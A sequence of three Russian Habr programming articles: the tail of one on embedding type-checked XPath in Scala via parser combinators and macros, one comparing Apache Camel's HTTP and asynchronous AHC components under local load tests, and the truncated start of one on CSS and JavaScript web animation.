Простейший парсер — это парсер, проверяющий, что первый элемент в последовательности равен заранее заданному и в качестве успешного результата возвращающий этот элемент. В качестве остатка будет последовательность без этого элемента.
Для создания такого парсера из элемента используется метод accept, принимающий элемент. Этот метод определен как неявный (implicit), и если компилятор встретит элемент там, где ожидает встретить парсер, он добавит применение этого метода к элементу.
Допустим мы парсим последовательность символов:
```
def elementParser: Parser[Char] = 'c' //до компиляции
def elementParser: Parser[Char] = accept('c') //во время компиляции
```
Таким образом если вы при комбинировании парсеров видите элемент там, где должен находиться парсер, то вы знаете, что там подразумевается такой элементарный парсер.
В общем случае это единственный парсер, определяемый явно.
Все остальные парсеры получаются комбинацией других и преобразованиями результатов.
###### Комбинируем парсеры
**Ложь во благо**На самом деле в scala нет операторов, но если вы это знаете, то, скорее всего, про парсеры вам рассказывать не надо.
Бинарный оператор "~". Объединяет 2 парсера по принципу «и». Успешен только если успешен сначала первый парсер, а затем второй на остатке, который отдал первый.
Образно говоря сначала первый парсер откусывает то, что ему подходит, а затем второй пирует на остатках.
В качестве результата возвращается контейнер, содержащий результаты обоих парсеров.
```
parser1 ~ parser2
```
Таким образом можно скомбинировать любой набор парсеров.
У этого комбинатора есть 2 родственных: "~>" и "<~". Работают они так же, но возвращают результат только одного из скомбинированных парсеров.
Бинарный оператор "|". Объединение по принципу «или». Успешен, если на исходном входе успешен хотя бы один из результатов. Если первый парсер вернул «неудачу» (но не ошибку), то пробуем скормить тот же вход второму.
rep. Последовательность. Если у вас есть парсер «myParser», то парсер, образованный при помощи «rep(myParser)», будет «откусывать» при помощи «myParser» от входа до первого не удачного применения. Результаты всех «укусов» объединяются в коллекцию.
Есть родственные преобразования, для не пустой коллекции результатов (rep1) и для последовательности с разделителями (repsep)
###### Преобразуем результат
Если требуется произвести преобразование над результатом парсинга, то на помощь приходят такие операторы, как ^^^ и ^^
^^^ меняет результат на указанную константу, а ^^ производит преобразование над результатом при помощи указанной функции.
Комбинирование парсеров (и грамотность спецификаций w3c) позволяет написать парсер не задумываясь.
Фактически мы переписываем спецификацию уже во второй раз. Единственное существенное отличие — рекурсивные определения я заменил на «циклические» (rep и repsep).
Например:
Спецификация:
```
[15] PrimaryExpr ::= VariableReference
| '(' Expr ')'
| Literal
| Number
| FunctionCall
```
[Парсер](https://github.com/senia-psm/scala-xpath/blob/master/parser/src/main/scala/senia.scala_xpath.parser/XPathParsers.scala#L44):
```
def primaryExpr: Parser[PrimaryExpr] = variableReference
| `(` ~> expr <~ `)` ^^ { GroupedExpr }
| functionCall
| number
| literal
```
Единственное условие — требуется следить, чтобы наиболее «строгие» парсеры шли в объединении через "|" раньше остальных. В данном примере literal, очевидно, будет успешен везде, где успешен functionCall просто из-за того, что успешно распарсит имя функции, так что если literal поставить раньше, то до functionCall дело просто не дойдет.
[Весь набор парсеров](https://github.com/senia-psm/scala-xpath/blob/master/parser/src/main/scala/senia.scala_xpath.parser/XPathParsers.scala) уложился в полторы сотни строк, что существенно короче определения объектной модели.
#### Подмешиваем переменные
Для добавления переменных в выражение будем использовать механизм string interpolation, появившийся в версии 2.10.
Механизм довольно прост: встретив строку перед которой (без пробела) стоит валидное имя метода компилятор производит простое преобразование:
```
t"strinf $x interpolation ${ obj.name.toString } "
StringContext("strinf ", " interpolation ", " ").t(x, { obj.name.toString })
```
Строка разбивается на куски по вхождениям переменных и выражений и передается в фабричный метод StringContext. Имя, предваряющее строку, используется как имя метода, а все переменные и выражения передаются в этот метод как параметры.
Если с методами вроде «s» и «f» на этом все заканчивается, то для методов, отсутствующих в StringContext, компилятор ищет implicit class — обертку над StringContext, содержащий нужный метод. Такой поиск является общим механизмом для scala и не относится на прямую к интерполяции строк.
Итоговый код:
```
new MyStringContextHelper(StringContext("strinf ", " interpolation ", " ")).t(x, { obj.name.toString })
```
Но что же с нашим парсером? У нас больше нет непрерывной последовательности символов. А есть последовательность символов и чего-то еще.
Неужели вся работа коту под хвост?
Вот тут-то и приоткрывается полезность возможности парсить не только последовательность символов.
У нас есть последовательность символов и чего-то еще (об этом позже). Это как раз описывается концепцией Either. На хабре [пару](http://habrahabr.ru/post/146042/) [статьей](http://habrahabr.ru/post/155477/) про Either переводил [Sigrlami](http://habrahabr.ru/users/sigrlami/).
Чтобы вернуть себе всю мощь парсеров надо лишь написать пару вспомогательных инструментов. В частности преобразование из Char, String и Regex в соответствующие парсеры.
Вот весь необходимый инструмент: [EitherParsers](https://github.com/senia-psm/scala-xpath/blob/master/parser/src/main/scala/senia.scala_xpath.parser/EitherParsers.scala). Стоит обратить внимание на абстрактный тип R. Про него не сделано ни каких предположений, так что инструментарий подходит для заранее не известного способа представления переменных.
#### Вмешиваемся в компиляцию
Документации и разумных примеров по макросам на мой взгляд мало. Но это не значит, что я собираюсь писать исчерпывающее объяснение что такое макросы и с чем их едят.
Прежде всего стоит знать, что макрос вызывается когда компилятор встречает метод, реализованный при помощи ключевого слова macro и реализация макроса должна отдать на выходе вновь созданное синтаксическое дерево.
Давайте посмотрим что же за дерево мы должны отдать на простейшем примере:
```
scala> import scala.reflect.runtime.universe._
import scala.reflect.runtime.universe._
scala> showRaw(reify( "str" -> 'symb ))
res0: String = Expr(Apply(Select(Apply(Select(Ident(scala.Predef), newTermName("any2ArrowAssoc")), List(Literal(Constant("str")))), newTermName("$minus$greater")), List(Apply(Select(Ident(scala.Symbol), newTermName("apply")), List(Literal(Constant("symb")))))))
```
Строить подобное самостоятельно нет ни малейшего желания.
Посмотрим что же нам предлагает scala с сохранением типизации и без ручной работы.
С одной стороны не много: метод literal, позволяющий преобразовывать некоторый ограниченный набор «базовых типов» к синтаксическим деревьям, да reify, производящий за вас всю ручную работу, но только в случае если любые переменные вы в него снаружи привносите в виде все того же дерева, после чего используете метод splice этого дерева, предназначенный специально для информирования reify о вашем желании встроить выражения типа Expt[T], как часть нового дерева с итоговым типом T.
С другой стороны этих методов вполне хватает. Дополнительные можно написать на основе имеющихся.
Само добавление [интерполяции](https://github.com/senia-psm/scala-xpath/blob/master/macros/src/main/scala/senia.scala_xpath.macros/package.scala#L15), обрабатываемой макросом, крайне лаконично:
```
implicit class XPathContext(sc: StringContext) {
def xp(as: Any*): LocationPath = macro xpathImpl
}
```
Обрабатывающая макрос функция объявляется следующим обрзом:
```
def xpathImpl(c: Context)(as: c.Expr[Any]*): c.Expr[LocationPath]
```
Ясно откуда брать переменные, но как получить строки?
Для этого можно при помощи контекста «выглянуть» из функции. Так сказать оглядеться по сторонам.
А точнее посмотреть на то выражение у которого вызывается целевой метод xp.
Сделать это можно пр помощи c.prefix.
Но что мы там обнаружим? Ранее упоминалось, что там должно быть выраджение вида StringContext(«strinf », " interpolation ", " ").
Посмотрим на соответствующее дерево:
```
scala> import scala.reflect.runtime.universe._
import scala.reflect.runtime.universe._
scala> showRaw(reify(StringContext("strinf ", " interpolation ", " ")))
res0: String = Expr(Apply(Select(Ident(scala.StringContext), newTermName("apply")), List(Literal(Constant("strinf ")), Literal(Constant(" interpolation ")), Literal(Constant(" ")))))
```
Как мы видим отсюда можно получить все строки в явном виде, что мы и сделаем:
```
val strings = c.prefix.tree match {
case Apply(_, List(Apply(_, ss))) => ss
case _ => c.abort(c.enclosingPosition, "not a interpolation of XPath. Cannot extract parts.")
}
val chars = strings.map{
case c.universe.Literal(Constant(source: String)) => source.map{ Left(_) }
case _ => c.abort(c.enclosingPosition, "not a interpolation of XPath. Cannot extract string.")
}
```
Но изменился не только вход. Результатом работы парсера больше не может быть объект из нашей объектной модели — его просто не построить основываясь не на значении, а на параметре вида c.Expr[Any].
Изменим наш парсер соответствующим образом. Если в результате может хоть как-то фигурировать внешняя переменная, то парсер больше не может возвращать T, а должен возвращать c.Expr[T]. Для преобразований не элементарных типов к соответствующим Expr напишем [вспомогательные методы](https://github.com/senia-psm/scala-xpath/blob/master/macros/src/main/scala/senia.scala_xpath.macros/Literals.scala) literal на основе имеющихся, например:
```
def literal(name: QName): lc.Expr[QName] = reify{ QName(literal(name.prefix).splice, literal(name.localPart).splice) }
```
Принцип всех таких функций очень прост: разбираем аргумент на достаточно элементарные части и собираем его заново внутри reify.
Это потребует некоторой механической работы, но наш парсер изменится не сильно.
Последним этапом идет внедрение нескольких парсеров, способных распарсить переменную на входе.
Вот [парсер](https://github.com/senia-psm/scala-xpath/blob/master/macros/src/main/scala/senia.scala_xpath.macros/XPathParsers.scala#L96) для встраивания переменной:
```
accept("xc.Expr[Any]", { case Right(e) => e } ) ^? ({
case e: xc.Expr[BigInt] if confirmType(e, tagOfBigInt.tpe) =>
reify{ CustomIntVariableExpr(VariableReference(QName(None, NCName(xc.literal(nextVarName).splice))), e.splice) }
case e: xc.Expr[Double] if confirmType(e, xc.universe.definitions.DoubleClass.toType) =>
reify{ CustomDoubleVariableExpr(VariableReference(QName(None, NCName(xc.literal(nextVarName).splice))), e.splice) }
case e: xc.Expr[String] if confirmType(e, xc.universe.definitions.StringClass.toType) =>
reify{ CustomStringVariableExpr(VariableReference(QName(None, NCName(xc.literal(nextVarName).splice))), e.splice) }
},
e => s"Int, Long, BigInt, Double or String expression expected, $e found."
)
```
Исходный парсер «accept(»xc.Expr[Any]", { case Right(e) => e } )" очень прост — он принимает любой контейнер Right с деревом и возвращает это дерево.
Дальнейшее преобразование определяет можно ли эту переменную использовать как один из трех желаемых типов и, затем, преобразовывает в такое использование.
В результате мы получим следующее поведение:
```
scala> val xml =
xml: scala.xml.Elem =
scala> val os = Option("111")
os: Option[String] = Some(111)
scala> xml \\ xp"*[@attr = $os]" // Option[String] нам не подходит
:16: error: Int, Long, BigInt, Double or String expression expected, Expr[Nothing](os) found.
xml \\ xp"\*[@attr = $os]"
^
scala> xml \\ xp"\*[@attr = ${ os.getOrElse("") } ]" // а вот String уже подходит
res1: scala.xml.NodeSeq = NodeSeq()
```
И если сообщения об ошибках еще требуют доработки, то переменные встроены уже вполне удобно.
Встраивание функций потребовало довольно много кода (23 варианта, по одному для вариантов от 0 до 22 параметров) и работает не слишком удобно, так как принимать необходимо только Any, а приходит в основном NodeList (но может и строка прийти или Double):
```
scala> import org.w3c.dom.NodeList
import org.w3c.dom.NodeList
scala> val isAllowedAttributeOrText = (_: Any, _: Any) match { // какая-нибудь страння, возможно даже заранее не известная функция
| case (a: NodeList, t: NodeList) if a.getLength == 1 && t.getLength == 1 =>
| a.head.getTextContent == "aaa" ||
| t.head.getTextContent.length > 4
| case _ => false
| }
isAllowedAttributeOrText: (Any, Any) => Boolean =
scala> val xml = inner text text
xml: scala.xml.Elem = inner text text
scala> xml \\ xp"\*[$isAllowedAttributeOrText(@attr, text())]"
res0: scala.xml.NodeSeq = NodeSeq(inner text text , inner text)
```
Здесь мы получили первое отсупление от синтаксиса XPath (если не считать возможности вместо переменных писать выражения вида ${ произвольный код }) — внедряемую функцию требуется предварять долларом.
#### Внедрение методов
Естественно сами методы "\" и "\\" у scala.xml.NodeSeq не появились по мановению волшебной палочки, они добавляются при помощи implicit class в [пакетном объекте](https://github.com/senia-psm/scala-xpath/blob/master/model/src/main/scala/senia.scala_xpath.model/package.scala#L131) модели.
Аналогичные методы встроены в [org.w3c.dom.Node](https://github.com/senia-psm/scala-xpath/blob/master/model/src/main/scala/senia.scala_xpath.model/package.scala#L81) и [NodeList](https://github.com/senia-psm/scala-xpath/blob/master/model/src/main/scala/senia.scala_xpath.model/package.scala#L97).
И вот с применением полученного XPath возникают определенные проблемы.
#### Не решенные проблемы
[Избавиться](https://github.com/senia-psm/scala-xpath/blob/master/model/src/main/scala/senia.scala_xpath.model/package.scala#L27) от java.lang.System.setSecurityManager(null). Судя по реализации com.sun.org.apache.xpath.internal.jaxp.XPathFactoryImpl по другому собственный обработчик функций не добавить.
Ошибки на этапе компиляции требуют доработки.
Если при не верно заданной функции сообщение об ошибке идеально (отдельный комплимент в сторону продуманности компилятора):
```
scala> xml \\ xp"*[$isAllowedAttributeOrText(@attr)]"
:1: error: type mismatch;
found : (Any, Any) => Boolean
required: Any => Any
xml \\ xp"\*[$isAllowedAttributeOrText(@attr)]"
^
```
то при всех остальных ошибках не соблюден стандартный формат сообщения и позиция указывает на начало строки.
В отличии от предыдущей это проблему решить вполне можно.
Производительность при работе с scala.xml оставляет желать много лучшего. Фактически происходит сначала преобразование из scala.xml в w3c.dom через строку, а затем обратное.
Единственное возможное решение — самостоятельно обрабатывать XPath.
Заодно это позволит избавиться от не слишком удобной типизации функций.
Производительность при работе с w3c.dom может быть немного повышена. на данный момент XPath компилируется из строки, хотя имеется готовая объектная модель. Преобразование между объектными моделями может несколько ускорить создание XPath.
#### Вывод
Встроить XPath в scala удалось без серьезных проблем и ограничений.
Переменные и функции из текущей области видимости допустимы везде, где их допускает спецификация.
При использовании с w3c.dom и при некоторых доработках возможно даже минорное ускорение за счет разбора выражения при компиляции.
Все гораздо проще. чем кажется на первый взгляд.
В начале сама идея внедрения в компиляцию вызывает оторопь. Результат же достигается с минимальными усилиями.
Да, API компилятора документировано гораздо хуже основной библиотеки, но оно логично и понятно.
Да, IDEA плохо понимает path-dependent types, зато осуществляет очень удобную навигацию, к том числе по API компилятора и учитывает неявные преобразования. | https://habr.com/ru/post/176285/ | null | ru | null |
# Фреймворк Camel: сравнение компонентов HTTP и AHC
В данной статье производится сравнение работы простейших сервисов реализованных с помощью фреймворка Camel и двух его компонентов: HTTP и AHC. Углубляться в структуру и работу с самим фреймворком не будем, предполагается что читатель уже немного знаком с ним.
Рассматривать будем простой сервис на Camel, который получает запросы от jetty-компонента, обрабатывает их, например, выводит в лог, вызывает другой сервис через http, и обрабатывает ответ от него, например, пишет в лог. Использовать будем Camel версии 3.4.0 и Java 8.
Для тестирования использовались скрипты JMeter для вызова нашего сервиса в соответствии с задуманной частотой и интервалами, а так же небольшой Http-сервис, играющий роль внешнего по отношению к нашему сервису, и выполняющий задержку 5 секунд. Все взаимодействие происходит по локальной петле (127.0.0.1), так что сетевые задержки не учтены, но для сравнительного анализа они и не нужны.
HTTP-компонент
--------------
В данном разделе будет рассматриваться стандартный HTTP-компонент для взаимодействия по HTTP. Код простого сервиса:
```
from("jetty:http://localhost:8080/test")
.log("receive request body ${body}")
.removeHeaders("CamelHttp*")
.to("http://{{another.url}}")
.log("finish process body ${body}");
```
Примечание: удаление заголовков, начинающихся на "CamelHttp" необходимо потому, что они выставляются в Jetty-компоненте и могут повлиять на работу Http-компонента.
Для проверки работы данного сервиса запустим скрипт JMeter, который отправляет 25 одновременных запросов.
| | | | |
| --- | --- | --- | --- |
| Samples | Min | Max | Error % |
| 25 | 5012 | 7013 | 20.000% |
В результате видим, что 20% или 5 из 25 запросов обработались с ошибкой(Read timed out). Связано это с тем, что у http-компонента по умолчанию установлено ограничение в 20 соединений к одному хосту. Изменяется это ограничение параметром *connectionsPerRoute*
```
from("jetty:http://localhost:8080/test")
.log("receive request body ${body}")
.removeHeaders("CamelHttp*")
.to("http://{{another.url}}?connectionsPerRoute=200")
.log("finish process body ${body}");
```
После этого исправления все 25 сообщений обрабатываются без ошибок. Но есть еще одно ограничение – это ограничение пула потоков jetty-компонента, по умолчанию 200. Для проверки этого ограничения запустим следующие 4 сценария JMeter:
1. 200 одновременных запросов
2. 300 одновременных запросов
3. 300 запросов равномерно распределенных в течении 5 секунд, с повтором 5 раз
4. 200 запросов равномерно распределенных в течении 5 секунд, с повтором 5 раз
После запуска 1 сценария в JVM произошел рост потоков до 214 штук, и далее количество потоков не менялось для всех сценариев.
Результаты выполнения тестовых сценариев:
| | |
| --- | --- |
| | Процент ошибок |
| 200 запросов единовременно | 0% |
| 300 запросов единовременно | 34.667% |
| 300 запросов с повтором 5 раз | 71.733% |
| 200 запросов с повтором 5 раз | 0% |
Первый и четвертый сценарии демонстрируют нормальную работу с допустимой нагрузкой
Второй сценарий с 300 одновременными запросами демонстрирует резкое превышение возможностей настроенного сервиса, 200 запросов обрабатываются потоками jetty-компонента, а остальные 100 дожидаются в пуле задач jetty, и в результате обрабатываются не 5 секунд, а 10. Соответственно 34% ошибок – это примерно эти 100 запросов.
Третий сценарий демонстрирует продолжительную работу сервиса по нагрузкой, превышающей его возможности – 300 запросов равномерно распределяются в 5 секундный интервал, и каждый из них повторяется 5 раз, т.е. каждую секунду в сервис поступает 60 запросов, а так как сервис не может обрабатывать более 200 запросов в один момент времени лишние запросы хранятся в пуле задач и для клиента обрабатываются дольше положенных 5 секунд, в результате клиенты отваливаются по таймауту.
Четвертый сценарий аналогичен третьему, с тем исключением, что нагрузка допустимая и в сервис не приходит больше запросов, чем он может обработать, очередь задач jetty-компонента пустая.
Для того чтобы увеличить количество одновременно обрабатываемых запросов, можно увеличить пул потоков jetty-компонента, однако следует помнить что каждый поток в JVM по умолчанию потребляет 1 МБ ОЗУ для хранения стэка, и бесконечно плодить потоки в современном мире Docker-контейнеров и микросервисов невозможно, лимиты по памяти не позволят это сделать. Лучше рассмотрим другой подход в следующем разделе.
AHC-компонент
-------------
AHC-компонент - это еще один компонент фреймворка Camel для взаимодействия по HTTP. Основан он на библиотеке AsyncHttpClient, позволяющей реализовывать асинхронное (реактивное) взаимодействие. За счет этого компонента попытаемся добиться реактивной работы сервиса – в обычном синхронном режиме с http-компонентом наши потоки просто стояли и ждали, пока внешний сервис нам ответ, т.е. в пустую тратили 5 секунд времени. В асинхронном же компоненте они сразу после отправки запроса освобождаются и готовы принимать новые запросы, а ответы на эти запросы при их получении обрабатываются другим пулом потоков. Изменения в нашем сервисе будут совсем небольшие:
```
from("jetty:http://localhost:8080/test")
.log("receive request body ${body}")
.removeHeaders("CamelHttp*")
.to("ahc:http://{{another.url}}")
.log("finish process body ${body}");
```
Сценарий, в котором 300 запросов запускаются единовременно выполнился без ошибок. Что уже плюс, так как синхронный http-компонент не мог его вообще осилить. Рассмотрим состояние потоков JVM:
Потоков, если сравнить с предыдущим вариантом тоже сравнительно меньше. Рассмотри результаты других сценариев:
| | |
| --- | --- |
| | Процент ошибок |
| 300 запросов с повтором 5 раз | 0% |
| 800 запросов с повтором 5 раз | 0% |
| 1200 запросов с повтором 5 раз | 1.533% |
| 1600 запросов с повтором 5 раз | 15.02% |
За счет того, что запросы идут не одновременно, общее количество потоков меньше чем в первом сценарии.
В результате можно сделать выводы, что пропускная способность сервиса выросла в несколько раз, ошибки в сценариях с 1200 и 1600 запросов вероятно связаны с задержкой при получении соединений из пула либо задержкой http-заглушки, либо с чем-то еще, но эта тема для другого исследования.
Возможные проблемы с AHC-компонентом
------------------------------------
Если в сервисе используется динамическое создание AHC-эндпоинтов, то это может случайно выстрелить вам ногу. Рассмотрим пример:
```
from("jetty:http://localhost:8080/test")
.log("receive request body ${body}")
.removeHeaders("CamelHttp*")
.setHeader("rand", ()->new Random().nextInt(10000) )
.toD("ahc:http://{{another.url}}?rand=${headers.rand}")
.log("finish process body ${body}");
```
После запуска сценария с единовременным стартом 300 запросов состояние потоков в JVM:
Как видим, поток слишком много. Дело в том, что по умолчанию AHC-компонент для каждого эндпоинта создает свою инстанцию объекта AsyncHttpClient, у каждой из которых свой пул соединений и потоков, в результате для каждого запроса создается по 2 потока – один поток ввода/вывода, другой поток-таймер для контроля таймаутов и поддержания соединений в состоянии KeepAlive. Чтобы этого избежать необходимо настроить инстанцию AsyncHttpClient на уровне компонента, которая будет передаваться в эндпоинт при его создании.
```
AhcComponent ahc = getContext().getComponent("ahc", AhcComponent.class);
ahc.setClient(new DefaultAsyncHttpClient());
```
После этого создание множества инстанций AsyncHttpClient’a прекратятся. | https://habr.com/ru/post/536176/ | null | ru | null |
# Как работает JS: анимация средствами CSS и JavaScript
**[Советуем почитать] Другие 19 частей цикла**Часть 1: [Обзор движка, механизмов времени выполнения, стека вызовов](https://habrahabr.ru/company/ruvds/blog/337042/)
Часть 2: [О внутреннем устройстве V8 и оптимизации кода](https://habrahabr.ru/company/ruvds/blog/337460/)
Часть 3: [Управление памятью, четыре вида утечек памяти и борьба с ними](https://habrahabr.ru/company/ruvds/blog/338150/)
Часть 4: [Цикл событий, асинхронность и пять способов улучшения кода с помощью async / await](https://habrahabr.ru/company/ruvds/blog/340508/)
Часть 5: [WebSocket и HTTP/2+SSE. Что выбрать?](https://habrahabr.ru/company/ruvds/blog/342346/)
Часть 6: [Особенности и сфера применения WebAssembly](https://habrahabr.ru/company/ruvds/blog/343568/)
Часть 7: [Веб-воркеры и пять сценариев их использования](https://habrahabr.ru/company/ruvds/blog/348424/)
Часть 8: [Сервис-воркеры](https://habrahabr.ru/company/ruvds/blog/349858/)
Часть 9: [Веб push-уведомления](https://habrahabr.ru/company/ruvds/blog/350486/)
Часть 10: [Отслеживание изменений в DOM с помощью MutationObserver](https://habrahabr.ru/company/ruvds/blog/351256/)
Часть 11: [Движки рендеринга веб-страниц и советы по оптимизации их производительности](https://habrahabr.ru/company/ruvds/blog/351802/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 12: [Сетевая подсистема браузеров, оптимизация её производительности и безопасности](https://habr.com/company/ruvds/blog/354070/)
Часть 13: [Анимация средствами CSS и JavaScript](https://habr.com/company/ruvds/blog/354438/)
Часть 14: [Как работает JS: абстрактные синтаксические деревья, парсинг и его оптимизация](https://habr.com/company/ruvds/blog/415269/)
Часть 15: [Как работает JS: классы и наследование, транспиляция в Babel и TypeScript](https://habr.com/company/ruvds/blog/415377/)
Часть 16: [Как работает JS: системы хранения данных](https://habr.com/company/ruvds/blog/415505/)
Часть 17: [Как работает JS: технология Shadow DOM и веб-компоненты](https://habr.com/company/ruvds/blog/415881/)
Часть 18: [Как работает JS: WebRTC и механизмы P2P-коммуникаций](https://habr.com/company/ruvds/blog/416821/)
Часть 19: [Как работает JS: пользовательские элементы](https://habr.com/company/ruvds/blog/419831/)
Анимация — неотъемлемая часть современных веб-интерфейсов. От того, насколько она уместна, привлекательна и производительна, зависит немалая доля впечатлений пользователя от работы с сайтом или веб-приложением. Сегодня, в переводе тринадцатой части серии материалов, посвящённых особенностям JavaScript и связанных с ним технологий, мы поговорим об анимации, выполняемой средствами CSS и JS, а также обсудим подходы к её оптимизации.
[](https://habr.com/company/ruvds/blog/354438/)
Обзор
-----
Наверняка вы знаете о том, что анимация, помимо чисто утилитарной роли, оказывает огромное влияние на привлекательность веб-приложений. Пользователи всё больше и больше обращают внимание на UX-дизайн проектов, что приводит к тому, что владельцы веб-ресурсов приходят к осознанию важности создания на своих сайтах таких условий, которые позволили бы пользователям комфортно там себя чувствовать. Всё это, помимо визуальной привлекательности страниц и удобства работы с ними, ведёт к тому, что веб-проекты становятся «тяжелее», к тому, что в их интерфейсах растёт число динамических элементов. Всё это требует более сложных анимаций, которые, например, позволяют организовать плавное изменение состояния веб-страниц в ходе работы пользователя с ними. Сегодня анимация не считается чем-то особенным. Пользователи становятся требовательнее, они уже привыкли ожидать наличия у веб-проектов интерактивных отзывчивых интерфейсов.
Однако, анимация интерфейсов — это не так уж и просто. Что анимировать? Когда анимировать? Какие ощущения должна вызывать анимация? Поиск ответов на эти вопросы может потребовать немалых усилий.
JavaScript-анимация и CSS-анимация
----------------------------------
Создавать анимации можно двумя основными способами: с помощью JavaScript, используя [API веб-анимации](https://developer.mozilla.org/ru/docs/Web/API/Web_Animations_API), и средствами CSS. Выбор способа зависит от конкретной задачи, поэтому сразу хочется отметить, что нельзя однозначно говорить о преимуществе одной технологии над другой.
### ▍CSS-анимация
CSS-анимация — это самый простой способ заставить что-либо двигаться по экрану. Начнём с простого примера, демонстрирующего перемещение элемента по осям X и Y. Делается это с помощью CSS-трансформации `translate`, которая настроена на длительность в 1000 мс.
```
.box {
-webkit-transform: translate(0, 0);
-webkit-transition: -webkit-transform 1000ms;
transform: translate(0, 0);
transition: transform 1000ms;
}
.box.move {
-webkit-transform: translate(50px, 50px);
transform: translate(50px, 50px);
}
```
При добавлении класса `move` значение `transform` меняется и начинается переход. Помимо длительности, мы можем настраивать динамику анимации (`easing`). Сущность этой настройки сводится к тому, что она влияет на то, как пользователь воспринимает анимацию. О динамике анимации мы поговорим позже.
На иллюстрации ниже показана поддержка CSS-переходов современными браузерами.
*Поддержка CSS-переходов современными браузерами*
Как видно, эта возможность отличается очень высоким уровнем поддержки.
Если, как и в предыдущем фрагменте кода, вы создадите отдельные CSS-классы для управления анимацией, затем можно включать и отключать анимацию средствами JavaScript.
Предположим, имеется следующий элемент.
```
Sample content.
```
С помощью JavaScript можно запускать и останавливать его анимацию.
```
var boxElements = document.getElementsByClassName('box'),
boxElementsLength = boxElements.length,
i;
for (i = 0; i < boxElementsLength; i++) {
boxElements[i].classList.add('move');
}
```
В этом фрагменте кода мы берём все элементы, которым назначен класс `box` и добавляем к ним класс `move` для того, чтобы запустить их анимацию.
Подобные возможности совместного использования CSS — для описания анимаций, и JS — для её запуска и отключения, делают приложение хорошо сбалансированным. Разработчик может сосредоточиться на управлении состоянием элементов из JavaScript, просто назначая подходящие классы целевым элементам, позволяя браузеру самостоятельно выполнять анимации, описанные средствами CSS. Если углубиться в подобный сценарий работы с анимацией, то можно прослушивать событие `transitionend` элемента, но делать так стоит лишь при условии поддержки старых версий Internet Explorer.
Событие `transitionend` вызывается в конце перехода. Вот как с ним работать.
```
var boxElement = document.querySelector('.box'); // Получить первый элемент с классом box.
boxElement.addEventListener('transitionend', onTransitionEnd, false);
function onTransitionEnd() {
// Обработать завершение перехода.
}
```
Для того чтобы сделать элементы веб-интерфейсов динамичнее, в дополнение к использованию CSS-переходов можно воспользоваться CSS-анимациями. Они дают разработчику гораздо больший уровень контроля за отдельными ключевыми кадрами анимации, длительностями этапов анимации и итерациями анимации.
Ключевые кадры используются для того, чтобы сообщить браузеру о том, какие значения CSS-свойства должны иметь в заданные моменты. Браузер самостоятельно находит промежуточные значения для свойств при переходе от одного ключевого кадра к другому.
Рассмотрим пример.
```
/**
* Это - упрощённая версия без префиксов
* разработчиков браузеров. Если включить их сюда
* (а в реальном коде это нужно), объём кода
* значительно возрастёт!
*/
.box {
/* Выберем анимацию */
animation-name: movingBox;
/* Укажем длительность анимации */
animation-duration: 2300ms;
/* Укажем - сколько раз мы хотим
повторить анимацию */
animation-iteration-count: infinite;
/* Это приводит к выполнению анимации
в обратном порядке на каждой нечётной итерации */
animation-direction: alternate;
}
@keyframes movingBox {
0% {
transform: translate(0, 0);
opacity: 0.4;
}
25% {
opacity: 0.9;
}
50% {
transform: translate(150px, 200px);
opacity: 0.2;
}
100% {
transform: translate(40px, 30px);
opacity: 0.8;
}
}
```
[Вот](https://sessionstack.github.io/blog/demos/keyframes/) страница, на которой показана работа этого кода.
Применяя CSS-анимации, саму анимацию описывают независимо от целевого элемента, а затем используют свойство `animation-name` для выбора необходимой анимации.
CSS-анимации, до сих пор, иногда требуют использования префиксов разработчиков браузеров. Так, префикс `-webkit-` используется в браузерах Safari, Safari Mobile, и в браузере Android. В браузерах Chrome, Opera, Internet Explorer, и Firefox анимации работают без префиксов. Для того чтобы создать CSS-код с префиксами, можно воспользоваться множеством вспомогательных инструментов, что позволяет разработчику, в исходном коде анимаций, обходиться без префиксов.
### ▍JavaScript-анимация
Создавать анимации средствами JavaScript, с применением API веб-анимации, сложнее, чем использовать CSS-переходы и CSS-анимации, но этот подход обычно даёт разработчику гораздо большие возможности.
JS-анимации описывают в коде приложения. Как и любой другой код их можно, например, помещать в объекты. Вот пример JS-кода, который нужно написать для того, чтобы воссоздать описанный выше CSS-переход.
```
var boxElement = document.querySelector('.box');
var animation = boxElement.animate([
{transform: 'translate(0)'},
{transform: 'translate(150px, 200px)'}
], 500);
animation.addEventListener('finish', function() {
boxElement.style.transform = 'translate(150px, 200px)';
});
```
По умолчанию применение API веб-анимации модифицирует лишь внешний вид элемента. Если требуется, чтобы объект оставался в той позиции, в которую он был перемещён в ходе анимации, нужно, по завершении анимации, модифицировать его стиль. Именно поэтому в вышеприведённом примере мы прослушиваем событие `finish` и устанавливаем свойство элемента `box.style.transform` в значение `translate(150px, 200px)`, которое выражает то же самое, что было сделано с объектом с помощью второй трансформации, выполненной средствами JS.
При использовании JavaScript-анимации разработчик обладает полным контролем над стилями элемента на каждом этапе анимации. Это означает, что анимацию можно замедлять, приостанавливать, останавливать, обращать, как угодно манипулировать элементами. Это особенно полезно в ходе создания сложных приложений, при разработке которых используется объектно-ориентированный подход, так как поведение элементов можно должным образом инкапсулировать.
Динамика анимации
-----------------
Естественные перемещения объектов дают пользователям ощущение комфорта при работе с веб-приложениями, что ведёт к более качественному пользовательскому опыту.
Если говорить о том, как объекты движутся в реальном мире, то можно отметить, что они, например, не перемещаются линейно. В физическом мире движущиеся предметы ускоряются и замедляются, так как на них воздействуют самые разные факторы окружающей среды. Человеческий мозг приучен ожидать от объектов подобных перемещений, поэтому, анимируя веб-приложения, следует это учитывать.
Вот пара терминов, которые пригодятся нам при разговоре о динамике анимации. А именно, поговорим о так называемых функциях плавности. Их применение позволяет влиять на динамику анимации.
* `ease-in` — это функция, при применении которой сначала анимация производится медленно, а затем — постепенно ускоряется.
* `ease-out` — это функция, при использовании которой анимация начинается быстро, а потом — постепенно замедляется.
Эти функции можно комбинировать. В результате может, например, получиться функция `ease-in-out`.
Управление динамикой анимации позволяет сделать так, чтобы движение объектов воспринималось как более естественное.
### ▍Ключевые слова для управления динамикой анимации
CSS-переходы и анимации позволяют разработчику выбирать функции плавности. Существуют различные ключевые слова, воздействующие на динамику анимации. Кроме того, можно создавать и собственные функции плавности. Вот несколько ключевых слов, которые можно использовать в CSS для управления динамикой анимации:
* linear
* ease-in
* ease-out
* ease-in-out
Рассмотрим их подробнее для того, чтобы узнать, как они влияют на анимацию.
### ▍Анимация linear
